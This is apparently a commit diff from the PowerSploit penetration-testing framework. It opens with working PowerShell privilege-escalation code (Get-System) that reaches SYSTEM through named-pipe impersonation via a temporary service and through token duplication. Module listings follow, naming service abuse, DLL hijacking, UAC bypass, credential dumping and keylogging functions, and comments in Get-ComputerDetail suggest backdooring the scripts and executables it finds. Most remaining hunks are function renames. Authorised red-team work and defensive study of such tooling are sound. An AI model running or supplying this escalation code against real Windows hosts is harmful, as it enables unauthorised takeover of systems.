# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
Write-Verbose '[Get-System] Opening service manager'
$ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F)
Write-Verbose "[Get-System] Service manager handle: $ManagerHandle"
# if we get a non-zero handle back, everything was successful
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
# Step 2 - CreateService()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# 0x10 = SERVICE_WIN32_OWN_PROCESS
# 0x3 = SERVICE_DEMAND_START
# 0x1 = SERVICE_ERROR_NORMAL
Write-Verbose "[Get-System] Creating new service: '$ServiceName'"
try {
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
$err = $GetLastError.Invoke()
}
catch {
Write-Warning "Error creating service : $_"
$ServiceHandle = 0
}
Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
$Success = $True
Write-Verbose '[Get-System] Service successfully created'
# Step 3 - CloseServiceHandle() for the service handle
Write-Verbose '[Get-System] Closing service handle'
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
# Step 4 - OpenService()
Write-Verbose "[Get-System] Opening the service '$ServiceName'"
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
# Step 5 - StartService()
Write-Verbose '[Get-System] Starting the service'
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
$err = $GetLastError.Invoke()
# if we successfully started the service, let it breathe and then delete it
if ($val -ne 0){
Write-Verbose '[Get-System] Service successfully started'
# breathe for a second
Start-Sleep -s 1
}
else{
if ($err -eq 1053){
Write-Verbose "[Get-System] Command didn't respond to start"
}
else{
Write-Warning "[Get-System] StartService failed, LastError: $err"
}
# breathe for a second
Start-Sleep -s 1
}
# start cleanup
# Step 6 - DeleteService()
Write-Verbose "[Get-System] Deleting the service '$ServiceName'"
$val = $DeleteService.invoke($ServiceHandle)
$err = $GetLastError.Invoke()
if ($val -eq 0){
Write-Warning "[Get-System] DeleteService failed, LastError: $err"
}
else{
Write-Verbose '[Get-System] Service successfully deleted'
}
# Step 7 - CloseServiceHandle() for the service handle
Write-Verbose '[Get-System] Closing the service handle'
$val = $CloseServiceHandle.Invoke($ServiceHandle)
Write-Verbose '[Get-System] Service handle closed off'
}
else {
Write-Warning "[Get-System] OpenServiceA failed, LastError: $err"
}
}
else {
Write-Warning "[Get-System] CreateService failed, LastError: $err"
}
# final cleanup - close off the manager handle
Write-Verbose '[Get-System] Closing the manager handle'
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
}
else {
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
Write-Warning "[Get-System] OpenSCManager failed, LastError: $err"
}
if($Success) {
Write-Verbose '[Get-System] Waiting for pipe connection'
$Pipe.WaitForConnection()
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out"
}
# clocse off the named pipe
$Pipe.Dispose()
}
# performs token duplication to elevate to SYSTEM
# needs SeDebugPrivilege
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
Function Local:Get-SystemToken {
[CmdletBinding()] param()
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LuidStruct = $LuidTypeBuilder.CreateType()
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
$PrivilegesField.SetCustomAttribute($AttribBuilder)
# $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'advapi32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'kernel32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcess',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[IntPtr],
@([UInt32], [Bool], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'CloseHandle',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
# $STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {
Write-Verbose "[Get-System] error enumerating handle: $_"
}
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "[Get-System] OpenProcessToken result: $RetVal"
Write-Verbose "[Get-System] OpenProcessToken result: $LastError"
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "[Get-System] DuplicateToken result: $LastError"
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
}
Write-Verbose "[Get-System] SetThreadToken result: $LastError"
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output "[Get-System] RevertToSelf successful."
}
else {
Write-Warning "[Get-System] RevertToSelf failed."
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
}
+4108 -1414
View File
File diff suppressed because one or more lines are too long
+25 -15
View File
@@ -10,7 +10,7 @@ ModuleVersion = '3.0.0.0'
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
# Author of this module
Author = 'Will Schroder'
Author = 'Will Schroeder (@harmj0y)'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@@ -22,31 +22,41 @@ Description = 'PowerSploit Privesc Module'
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ServiceUnquoted',
'Get-ServiceFilePermission',
'Get-ServicePermission',
FunctionsToExport = @(
'Get-ModifiablePath',
'Get-ProcessTokenGroup',
'Get-ProcessTokenPrivilege',
'Enable-Privilege',
'Add-ServiceDacl',
'Set-ServiceBinaryPath',
'Test-ServiceDaclPermission',
'Get-UnquotedService',
'Get-ModifiableServiceFile',
'Get-ModifiableService',
'Get-ServiceDetail',
'Invoke-ServiceAbuse',
'Write-ServiceBinary',
'Install-ServiceBinary',
'Restore-ServiceBinary',
'Find-DLLHijack',
'Find-PathHijack',
'Find-ProcessDLLHijack',
'Find-PathDLLHijack',
'Write-HijackDll',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-RegistryAlwaysInstallElevated',
'Get-RegistryAutoLogon',
'Get-ModifiableRegistryAutoRun',
'Get-ModifiableScheduledTaskFile',
'Get-UnattendedInstallFile',
'Get-Webconfig',
'Get-WebConfig',
'Get-ApplicationHost',
'Get-SiteListPassword',
'Get-CachedGPPPassword',
'Write-UserAddMSI',
'Invoke-AllChecks'
'Invoke-EventVwrBypass',
'Invoke-PrivescAudit',
'Get-System'
)
# List of all files packaged with this module
FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
}
+33 -23
View File
@@ -27,33 +27,43 @@ Required Dependencies: None
Optional Dependencies: None
### Service Enumeration:
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config
Get-ServicePermission - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
### Token/Privilege Enumeration/Abuse:
Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID
Enable-Privilege - enables a specific privilege for the current process
### Service Abuse:
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
### Service Enumeration/Abuse:
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
Get-UnquotedService - returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
Get-ModifiableService - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
Set-ServiceBinaryPath - sets the binary path for a service to a specified value
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
### DLL Hijacking:
Find-DLLHijack - finds .dll hijacking opportunities for currently running processes
Find-PathHijack - finds service %PATH% .dll hijacking opportunities
Write-HijackDll - writes out a hijackable .dll
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
Write-HijackDll - writes out a hijackable DLL
### Registry Checks:
Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegAutoLogon - checks for Autologon credentials in the registry
Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
### Misc.:
Get-VulnSchTask - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-AllChecks - runs all current escalation checks and returns a report
### Miscellaneous Checks:
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
### Other Helpers/Meta-Functions:
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks)
+11 -1
View File
@@ -1,3 +1,5 @@
## This project is no longer supported
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
## CodeExecution
@@ -36,7 +38,7 @@ Compresses, Base-64 encodes, and outputs generated code to load a managed dll in
Encrypts text files/scripts.
#### `Remove-Comments`
#### `Remove-Comment`
Strips comments and extra whitespace from a script.
@@ -100,6 +102,10 @@ Logs keys pressed, time and the active window.
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
#### `Get-GPPAutologon`
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
#### `Get-TimedScreenshot`
A function that takes screenshots at a regular interval and saves them to a folder.
@@ -128,6 +134,10 @@ Displays Windows vault credential objects including cleartext web credentials.
Generates a full-memory minidump of a process.
#### `Get-MicrophoneAudio`
Records audio from system microphone and saves to disk
## Mayhem
**Cause general mayhem with PowerShell.**
@@ -1,14 +1,14 @@
function Get-ComputerDetails
function Get-ComputerDetail
{
<#
.SYNOPSIS
This script is used to get useful information from a computer.
Function: Get-ComputerDetails
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
Function: Get-ComputerDetail
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -25,14 +25,14 @@ Switch: Outputs the data as text instead of objects, good if you are using this
.EXAMPLE
Get-ComputerDetails
Get-ComputerDetail
Gets information about the computer and outputs it as PowerShell objects.
Get-ComputerDetails -ToString
Get-ComputerDetail -ToString
Gets information about the computer and outputs it as raw text.
.NOTES
This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files.
.LINK
@@ -42,6 +42,7 @@ Github repo: https://github.com/clymb3r/PowerShell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
Param(
[Parameter(Position=0)]
[Switch]
@@ -50,14 +51,12 @@ Github repo: https://github.com/clymb3r/PowerShell
Set-StrictMode -Version 2
$SecurityLog = Get-EventLog -LogName Security
$Filtered4624 = Find-4624Logons $SecurityLog
$Filtered4648 = Find-4648Logons $SecurityLog
$AppLockerLogs = Find-AppLockerLogs
$Filtered4624 = Find-4624Logon $SecurityLog
$Filtered4648 = Find-4648Logon $SecurityLog
$AppLockerLogs = Find-AppLockerLog
$PSLogs = Find-PSScriptsInPSAppLog
$RdpClientData = Find-RDPClientConnections
$RdpClientData = Find-RDPClientConnection
if ($ToString)
{
@@ -88,29 +87,29 @@ Github repo: https://github.com/clymb3r/PowerShell
}
function Find-4648Logons
function Find-4648Logon
{
<#
.SYNOPSIS
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
Function: Find-4648Logons
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
Function: Find-4648Logon
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
.EXAMPLE
Find-4648Logons
Find-4648Logon
Gets the unique 4648 logon events.
.NOTES
@@ -120,11 +119,12 @@ Gets the unique 4648 logon events.
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
Param(
$SecurityLog
)
$ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648}
$ExplicitLogons = $SecurityLog | Where-Object {$_.InstanceID -eq 4648}
$ReturnInfo = @{}
foreach ($ExplicitLogon in $ExplicitLogons)
@@ -216,7 +216,7 @@ Github repo: https://github.com/clymb3r/PowerShell
return $ReturnInfo
}
function Find-4624Logons
function Find-4624Logon
{
<#
.SYNOPSIS
@@ -224,10 +224,10 @@ function Find-4624Logons
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
Function: Find-4624Logons
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
Function: Find-4624Logon
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -236,7 +236,7 @@ network logons in to the server, what accounts RDP in, what accounts log in loca
.EXAMPLE
Find-4624Logons
Find-4624Logon
Find unique 4624 logon events.
.NOTES
@@ -250,7 +250,7 @@ Github repo: https://github.com/clymb3r/PowerShell
$SecurityLog
)
$Logons = $SecurityLog | Where {$_.InstanceID -eq 4624}
$Logons = $SecurityLog | Where-Object {$_.InstanceID -eq 4624}
$ReturnInfo = @{}
foreach ($Logon in $Logons)
@@ -362,17 +362,17 @@ Github repo: https://github.com/clymb3r/PowerShell
}
function Find-AppLockerLogs
function Find-AppLockerLog
{
<#
.SYNOPSIS
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
Function: Find-AppLockerLogs
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
Function: Find-AppLockerLog
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -380,7 +380,7 @@ Look through the AppLocker logs to find processes that get run on the server. Yo
.EXAMPLE
Find-AppLockerLogs
Find-AppLockerLog
Find process creations from AppLocker logs.
.NOTES
@@ -390,9 +390,10 @@ Find process creations from AppLocker logs.
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
$AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002}
$AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 8002}
foreach ($Log in $AppLockerLogs)
{
@@ -434,10 +435,10 @@ Function Find-PSScriptsInPSAppLog
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
You can then backdoor these scripts or do other malicious things.
Function: Find-AppLockerLogs
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
Function: Find-AppLockerLog
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -456,12 +457,12 @@ Find unique PowerShell scripts being executed from the PowerShell operational lo
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
$Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100}
$Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4100}
foreach ($Log in $Logs)
{
$ContainsScriptName = $false
$LogDetails = $Log.Message -split "`r`n"
$FoundScriptName = $false
@@ -506,27 +507,26 @@ Github repo: https://github.com/clymb3r/PowerShell
}
Function Find-RDPClientConnections
Function Find-RDPClientConnection
{
<#
.SYNOPSIS
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
usually RDP's to.
Function: Find-RDPClientConnections
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
Function: Find-RDPClientConnection
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
usually RDP's to.
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to.
.EXAMPLE
Find-RDPClientConnections
Find-RDPClientConnection
Find unique saved RDP client connections.
.NOTES
@@ -550,7 +550,7 @@ Github repo: https://github.com/clymb3r/PowerShell
{
$Server = $Server.PSChildName
$UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint
$Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint
if (!$ReturnInfo.ContainsKey($Key))
+33 -29
View File
@@ -5,11 +5,11 @@ function Get-HttpStatus
Returns the HTTP Status Codes and full URL for specified paths.
PowerSploit Function: Get-HttpStatus
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Get-HttpStatus
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -42,7 +42,7 @@ C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
.NOTES
HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error
.LINK
http://obscuresecurity.blogspot.com
@@ -64,49 +64,54 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
[Switch]
$UseSSL
)
if (Test-Path $Path) {
